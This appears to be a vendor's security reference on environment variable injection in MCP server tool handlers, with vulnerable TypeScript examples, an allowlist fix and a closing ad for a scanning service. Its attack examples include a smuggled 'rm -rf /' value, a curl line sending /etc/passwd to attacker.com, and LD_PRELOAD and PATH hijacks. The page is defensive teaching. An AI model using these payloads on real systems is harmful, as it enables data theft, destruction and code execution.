Security Reference
MCP server environment variable injection security
MCP tool handlers that spawn child processes and pass tool arguments as environment variables are vulnerable to environment variable injection — a class of attack that can override critical runtime configuration, hijack execution via LD_PRELOAD or PATH manipulation, and enable privilege escalation without touching the primary tool handler code.
How tool arguments reach child process environments
Many MCP tools are thin wrappers around CLIs, scripts, or subprocesses. A tool that converts a document, runs a linter, or invokes a build system often works by spawning a child process with the tool arguments passed as environment variables — a pattern that is convenient but creates an injection surface if the arguments are not validated.
// VULNERABLE — caller controls the LANG value
server.tool('convert_document', {
input_path: z.string(),
language: z.string(), // caller controls this
}, async ({ input_path, language }) => {
const result = await execa('pandoc', [input_path, '--to', 'html'], {
env: {
...process.env,
LANG: language, // attacker can set LANG=en_US.UTF-8;rm -rf /
OUTPUT_FORMAT: 'html',
}
});
return { content: [{ type: 'text', text: result.stdout }] };
});
env poisoning is different from argument injection. A tool that passes language as a command-line argument can be caught by standard shell escape analysis. A tool that passes it as an environment variable is often missed by static analysis tools — the value appears in the env object, not in the shell command string, so simple grep patterns don't catch it.
Attack 1: Shell metacharacter injection via env value
If the child process reads the environment variable in a shell script (rather than directly in the subprocess), shell metacharacters in the value are interpreted:
# Child process script — run_convert.sh
#!/bin/bash
pandoc "$INPUT_FILE" --to "$OUTPUT_FORMAT"
# LANG is set but not used directly — but if any interpolation happens:
echo "Converting to ${LANG} encoding"
# If LANG = "utf-8; curl http://attacker.com/$(cat /etc/passwd | base64)"
# the semicolon causes the second command to execute
Attack 2: LD_PRELOAD for shared library injection
On Linux, if an attacker can set LD_PRELOAD in a child process's environment, they can inject an arbitrary shared library that runs before the binary's own initialization — effectively achieving code execution with the binary's privileges:
// If the tool spreads process.env to the child and doesn't block LD_PRELOAD:
env: {
...process.env, // spreads the caller's injected LD_PRELOAD
INPUT_FILE: args.input,
}
// Attacker calls the tool with:
// process.env.LD_PRELOAD = '/tmp/evil.so'
// If the server runs as root or has elevated capabilities, this is full compromise
Attack 3: PATH override to hijack binary selection
If the child process's PATH environment variable can be overridden, the attacker can redirect binary lookups to an attacker-controlled directory:
// Attacker sets PATH = '/tmp/attacker_bins:/usr/bin:/bin' // If /tmp/attacker_bins/pandoc exists and is executable, it runs instead of the real pandoc // This gives the attacker code execution in the context of the MCP server process
The fix: explicit, allowlisted environment construction
Never spread process.env to child processes. Build the child environment explicitly from a whitelist of safe values, and validate any caller-controlled values before including them:
// SAFE — explicit env construction with allowlist
const SAFE_ENV_ALLOWLIST = ['HOME', 'TMPDIR', 'TZ', 'LC_ALL'];
function buildSafeEnv(callerArgs: { language?: string; output_format?: string }) {
// Start from a clean base — not from process.env
const base: Record = {};
// Include only specific inherited vars from allowlist
for (const key of SAFE_ENV_ALLOWLIST) {
if (process.env[key]) base[key] = process.env[key]!;
}
// Validate caller-supplied values before including them
if (callerArgs.language) {
// Allow only BCP 47 language tags (e.g., en-US, fr, zh-TW)
if (!/^[a-zA-Z]{2,3}(-[a-zA-Z0-9]{2,8})*$/.test(callerArgs.language)) {
throw new ToolError('INVALID_ARGUMENT', 'language must be a valid BCP 47 tag');
}
base.LANG = callerArgs.language + '.UTF-8';
}
if (callerArgs.output_format) {
const allowed = ['html', 'pdf', 'docx', 'markdown'];
if (!allowed.includes(callerArgs.output_format)) {
throw new ToolError('INVALID_ARGUMENT', `output_format must be one of: ${allowed.join(', ')}`);
}
base.OUTPUT_FORMAT = callerArgs.output_format;
}
// Never allow LD_PRELOAD, PATH, LD_LIBRARY_PATH — these are always server-controlled
return base;
}
server.tool('convert_document', {
input_path: z.string(),
language: z.string().optional(),
output_format: z.enum(['html', 'pdf', 'docx', 'markdown']).optional(),
}, async (args) => {
const safeEnv = buildSafeEnv(args);
const result = await execa('pandoc', [args.input_path, '--to', safeEnv.OUTPUT_FORMAT ?? 'html'], {
env: safeEnv, // clean, explicit, no process.env spread
});
return { content: [{ type: 'text', text: result.stdout }] };
});
SkillAudit findings for environment variable injection
{ env: { ...process.env, ...callerArgs } } — full env spread with caller control over any key including LD_PRELOAD and PATH. Grade impact: −30 on Security axis, blocks install gate.process.env spread but no caller args included — server's own env could be poisoned by a compromised deployment, but attacker cannot inject directly. Grade impact: −5 on Security axis (recommend explicit env construction).Check your MCP server for env variable injection
SkillAudit's static analysis scans child process invocations for caller-controlled environment variable flows. Paste your GitHub URL for a free scan.
Run free audit →Related: MCP server command injection security — the related attack via shell command argument injection. MCP server input validation patterns — the broader input validation framework.